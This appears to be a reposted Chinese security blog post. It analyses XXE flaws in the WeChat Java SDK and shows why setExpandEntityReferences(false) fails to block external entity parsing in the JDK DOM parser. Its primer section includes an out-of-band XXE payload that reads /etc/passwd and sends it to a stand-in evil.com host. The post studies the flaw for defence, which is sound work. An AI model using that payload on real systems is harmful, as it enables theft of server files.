内容简介:前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为:既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读XML外部实体注入
事情缘起
前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为: CVE-2019-5312 。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞: CVE-2018-20318 。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了 factory.setExpandEntityReferences(false)
的设置。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
的设置。这引起了我的好奇,深挖了一下,发现整个事情还比较有趣,于是想整理下,分享给大家。
啥是XXE注入
既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读 @gyyyy
大佬的文章: 《XXE注入漏洞概述》 ,文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。
XML外部实体注入 (XML External Entity Injection) 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时,该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。
XML实体又分为内部实体和外部实体,声明方式如下:
<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">
外部实体声明中,分为 SYSTEM
和 PUBLIC
,前者表示私有资源 (但不一定是本机) ,后者表示公共资源。实体声明之后就可以在文本中进行引用了:
<foo>&xxe;</foo>
XXE注入较为常见的利用方式是基于OOB的任意文件读取 (盲注) ,利用方式如下:
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>
xxeoobdetector.xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;
更多内容也可以参考 XML_External_Entity_(XXE)_Processing 。
XXE注入漏洞简要分析
可以看到作者使用的是JDK自带的XML解析器。在创建 DocumentBuilderFactory
类的实例之后进行了 setFeature
禁用DTD文档。
然后仿造issue中的描述初始化 WxPayOrderQueryResult
类实例,通过其父类的 setXmlString()
方法设置 xmlString
,然后调用此类实例的 toMap()
方法将xml文档转换为Map。在此调用了此类的 getXmlDoc()
方法。
进入 getXmlDoc()
方法中发现此处已经对 DocumentBuilderFactory
实例进行了 setExpandEntityReferences()
的设置,但经过测试,这里依然可以解析DTD文档和外部实体,触发漏洞。
节外生枝
本来这个漏洞分析到这里就可以结束了,但我看到了这个漏洞关联另一个issue: issue#889 ,发现其对应漏洞CVE-2018-20318,再次进行 commit diff 对比:
发现作者在解决CVE-2018-20318之前对DocumentBuilderFactory
实例没有进行任何设置,直接解析XML文档。那么问题来了,为什么作者加上 factory.setExpandEntityReferences(false)
的设置漏洞仍然存在?是 factory.setExpandEntityReferences(false)
没有生效吗?作为开发出身的我,第一反应是查这段代码的注释和官方文档,开发过程中我们应该永远最相信官方的文档。
直接跟进这个方法定义的位置:
从代码注释翻译过来大概是 指定此代码生成的解析器将扩展实体引用节点。 默认情况下,此值为 true
,如果参数为 true
,解析器将扩展实体引用节点,否则设置为 false
。 官方文档 的解释与其一致,不再展示。
那么从这短短的一句话上分析, setExpandEntityReferences()
方法参数为 true
的时候,解析器会扩展外部实体,为 false
的时候不扩展,好像没毛病。我如果是开发看到了文档给出的解释也会这样改,那么问题到底在哪里?
寻坑之路
通过搜索发现,和我有同样疑问的人其实不少,首先我看到了两封疑似邮件记录的东西,第一封主题为 Disabling XML External Entites ,这个人恰好是想解决安全问题禁止外部实体解析,但发现了通过 setExpandEntityReferences()
并不能阻止XXE注入攻击,于是邮件提问,得到的回复如下:
CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文,但是它遇到了同样的问题,且提到了官方的描述非常的简短。他得到的回复如下:
在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了,现在OWASP中针对XXE注入防护的 Java 部分是这样的:
这里依然提到了 setExpandEntityReferences()
,并且提到了一篇2014年的论文 (好像和刚才发邮件的不是一个人:-D) 于是我又将 论文 翻出来,论文中提到的有关内容如下:
setExpandEntityReferences(false)
和实体的解析是不冲突的, setExpandEntityReferences()
只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。
Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
, DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) ,两个BUG提交后得到了同样的回复:这不是问题!其中在第二个BUG的回复中详细解释了参数设置为true
和 false
对应的意义:
setExpandEntityReferences = true表示展开或“解析”实体引用,即没有EntityReference节点。
setExpandEntityReferences = false,将指示解析器将EntityReference节点保留在DOM树中。 挖到这里,我大致明白了这个方法的作用, 此方法作于XML解析后生成的文档。设置为 true
则展开实体引用到生成的文档中替换掉 &xx
的实体引用声明,设置为 false
则保留实体引用声明的DOM树在生成的文档中 。
听起来还是有点绕?下面我通过一个例子来解释下上面那句话。
假如有XML文档如下:<!DOCTYPE foo [ <!ENTITY xxe "test"> ]> <document> <title>&xxe;</title> </document>
测试代码:
import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.EntityReference; import org.w3c.dom.NodeList; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; public class Test { public static void main(String[] args) { String xmlStr= "<!DOCTYPE foo [\n" + " <!ENTITY xxe \"test\">\n" + "]>\n" + "<document> \n" + " <title>&xxe;</title> \n" + "</document> "; Document doc= getXmlDoc(xmlStr); Element e = (Element) doc.getElementsByTagName("title").item(0); final NodeList nl = e.getChildNodes(); System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference)); System.out.println("nl.getLength():" + nl.getLength()); } public static Document getXmlDoc(String xmlString) { try { final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Comment the code below to see the effect factory.setExpandEntityReferences(false); Document xmlDoc = factory.newDocumentBuilder() .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8"))); return xmlDoc; } catch (Exception e) { throw new RuntimeException(e); } } }
设置 setExpandEntityReferences(true)
,观察变量 nl
的结构:
注意此时 nl
的长度为1,此时文档结构大致如下:
+- document +- title | +- #text:test
输出如下:
设置 setExpandEntityReferences(false)
,观察变量 nl
的结构:
我们发现,此时的 nl
的长度为2, nl.item(0)
是一个name为 xxe
的 EntityReference
节点,它还有个兄弟节点,值为 test
。此时文档结构大致如下:
+- document +- title | +- xxe | +- #text:test
输出如下:
上面的例子证明了,无论如何设置 setExpandEntityReferences()
,外部文档都是已经解析完了的。因此无法防护XXE注入。
不过官方文档描述过于简单,实时也证明了通过官方文档对 setExpandEntityReferences()
的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 (我甚至觉得OWASP建议中的 setExpandEntityReferences(false)
都应该注释标明它不能防止XXE注入) ,不要太过于自信自己对文档的理解。修改后应及时测试。
官方认坑
DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
,不过神奇的地方来了,这次官网没有用之前的话术草草回复过去,而是接受了这个BUG!!就在两天前(2019年1月29日), @Joe Wang
为其创建了名为 Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) 的任务,并且在任务描述中明确了当 ExpandEntityReferences
设置为 false
时,DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序,这样的设置将会按照预期工作。
setExpandEntityReferences(false)
来解决XXE注入的问题了。不过现在这个任务的状态还是 NEW
,我会继续跟进它。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞预警 | MetInfo最新版本爆出SQL注入漏洞
- 挖洞姿势:浅析命令注入漏洞
- 【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞
- Imperva报告:Web应用漏洞持续增长 注入漏洞一骑绝尘
- Apache Tika命令注入漏洞挖掘
- ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Automate This
Christopher Steiner / Portfolio / 2013-8-9 / USD 25.95
"The rousing story of the last gasp of human agency and how today's best and brightest minds are endeavoring to put an end to it." It used to be that to diagnose an illness, interpret legal docume......一起来看看 《Automate This》 这本书的介绍吧!